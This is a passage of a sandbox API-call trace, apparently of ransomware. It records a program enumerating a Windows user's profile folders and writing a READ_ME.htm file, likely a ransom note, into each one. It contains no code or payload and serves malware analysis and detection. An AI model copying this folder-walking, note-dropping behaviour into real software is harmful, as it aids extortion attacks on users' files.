(hFile=0x1d0) returned 0x1 [0158.390] SetErrorMode (uMode=0x0) returned 0x1 [0158.390] GetFileType (hFile=0x1d0) returned 0x1 [0158.391] WriteFile (in: hFile=0x1d0, lpBuffer=0x2915788*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2915788*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0158.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0158.392] SetErrorMode (uMode=0x1) returned 0x0 [0158.393] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.395] GetFileType (hFile=0x1d0) returned 0x1 [0158.395] SetErrorMode (uMode=0x0) returned 0x1 [0158.395] GetFileType (hFile=0x1d0) returned 0x1 [0158.396] WriteFile (in: hFile=0x1d0, lpBuffer=0x2919d78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2919d78*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0158.397] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0158.397] SetErrorMode (uMode=0x1) returned 0x0 [0158.397] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.398] GetFileType (hFile=0x1d0) returned 0x1 [0158.398] SetErrorMode (uMode=0x0) returned 0x1 [0158.398] GetFileType (hFile=0x1d0) returned 0x1 [0158.398] WriteFile (in: hFile=0x1d0, lpBuffer=0x291e328*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x291e328*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0158.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0158.400] SetErrorMode (uMode=0x1) returned 0x0 [0158.400] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.401] GetFileType (hFile=0x1d0) returned 0x1 [0158.401] SetErrorMode (uMode=0x0) returned 0x1 [0158.401] GetFileType (hFile=0x1d0) returned 0x1 [0158.401] WriteFile (in: hFile=0x1d0, lpBuffer=0x2922888*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2922888*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\PrintHood", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\PrintHood", lpFilePart=0x0) returned 0x1c [0158.403] SetErrorMode (uMode=0x1) returned 0x0 [0158.403] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\PrintHood\\*" (normalized: "c:\\users\\keecfmwgj\\printhood\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0158.417] SetErrorMode (uMode=0x0) returned 0x1 [0158.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\PrintHood\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\PrintHood\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0158.419] SetErrorMode (uMode=0x1) returned 0x0 [0158.419] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\PrintHood\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\printhood\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.424] GetFileType (hFile=0x1d0) returned 0x1 [0158.424] SetErrorMode (uMode=0x0) returned 0x1 [0158.424] GetFileType (hFile=0x1d0) returned 0x1 [0158.424] WriteFile (in: hFile=0x1d0, lpBuffer=0x29281e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29281e0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.426] CloseHandle (hObject=0x1d0) returned 1 [0158.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Recent", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Recent", lpFilePart=0x0) returned 0x19 [0158.426] SetErrorMode (uMode=0x1) returned 0x0 [0158.427] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Recent\\*" (normalized: "c:\\users\\keecfmwgj\\recent\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0158.430] SetErrorMode (uMode=0x0) returned 0x1 [0158.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Recent\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Recent\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0158.432] SetErrorMode (uMode=0x1) returned 0x0 [0158.432] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Recent\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\recent\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.433] GetFileType (hFile=0x1d0) returned 0x1 [0158.433] SetErrorMode (uMode=0x0) returned 0x1 [0158.434] GetFileType (hFile=0x1d0) returned 0x1 [0158.434] WriteFile (in: hFile=0x1d0, lpBuffer=0x292daf8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x292daf8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.435] CloseHandle (hObject=0x1d0) returned 1 [0158.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Saved Games", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Saved Games", lpFilePart=0x0) returned 0x1e [0158.436] SetErrorMode (uMode=0x1) returned 0x0 [0158.436] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Saved Games\\*" (normalized: "c:\\users\\keecfmwgj\\saved games\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0158.437] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.437] SetErrorMode (uMode=0x0) returned 0x1 [0158.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Saved Games", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Saved Games", lpFilePart=0x0) returned 0x1e [0158.438] SetErrorMode (uMode=0x1) returned 0x0 [0158.438] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Saved Games\\*" (normalized: "c:\\users\\keecfmwgj\\saved games\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.438] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.438] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.438] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0158.439] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.439] SetErrorMode (uMode=0x0) returned 0x1 [0158.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Saved Games\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Saved Games\\READ_ME.htm", lpFilePart=0x0) returned 0x2a [0158.439] SetErrorMode (uMode=0x1) returned 0x0 [0158.439] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Saved Games\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\saved games\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.442] GetFileType (hFile=0x1d0) returned 0x1 [0158.442] SetErrorMode (uMode=0x0) returned 0x1 [0158.442] GetFileType (hFile=0x1d0) returned 0x1 [0158.442] WriteFile (in: hFile=0x1d0, lpBuffer=0x2933a58*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2933a58*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.444] CloseHandle (hObject=0x1d0) returned 1 [0158.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Searches", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Searches", lpFilePart=0x0) returned 0x1b [0158.445] SetErrorMode (uMode=0x1) returned 0x0 [0158.445] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Searches\\*" (normalized: "c:\\users\\keecfmwgj\\searches\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.445] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.445] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8317a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.445] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0158.446] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0158.446] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0158.446] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.446] SetErrorMode (uMode=0x0) returned 0x1 [0158.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Searches", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Searches", lpFilePart=0x0) returned 0x1b [0158.447] SetErrorMode (uMode=0x1) returned 0x0 [0158.447] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Searches\\*" (normalized: "c:\\users\\keecfmwgj\\searches\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.447] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.447] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8317a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.447] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0158.448] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0158.448] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0158.448] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.448] SetErrorMode (uMode=0x0) returned 0x1 [0158.448] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Searches\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Searches\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0158.449] SetErrorMode (uMode=0x1) returned 0x0 [0158.449] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Searches\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\searches\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.449] GetFileType (hFile=0x1d0) returned 0x1 [0158.449] SetErrorMode (uMode=0x0) returned 0x1 [0158.449] GetFileType (hFile=0x1d0) returned 0x1 [0158.450] WriteFile (in: hFile=0x1d0, lpBuffer=0x2939e90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2939e90*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.451] CloseHandle (hObject=0x1d0) returned 1 [0158.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\SendTo", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\SendTo", lpFilePart=0x0) returned 0x19 [0158.451] SetErrorMode (uMode=0x1) returned 0x0 [0158.452] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\SendTo\\*" (normalized: "c:\\users\\keecfmwgj\\sendto\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0158.465] SetErrorMode (uMode=0x0) returned 0x1 [0158.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\SendTo\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\SendTo\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0158.467] SetErrorMode (uMode=0x1) returned 0x0 [0158.467] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\SendTo\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\sendto\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.472] GetFileType (hFile=0x1d0) returned 0x1 [0158.472] SetErrorMode (uMode=0x0) returned 0x1 [0158.473] GetFileType (hFile=0x1d0) returned 0x1 [0158.473] WriteFile (in: hFile=0x1d0, lpBuffer=0x293f7a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x293f7a8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Start Menu", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Start Menu", lpFilePart=0x0) returned 0x1d [0158.475] SetErrorMode (uMode=0x1) returned 0x0 [0158.475] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Start Menu\\*" (normalized: "c:\\users\\keecfmwgj\\start menu\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0158.476] SetErrorMode (uMode=0x0) returned 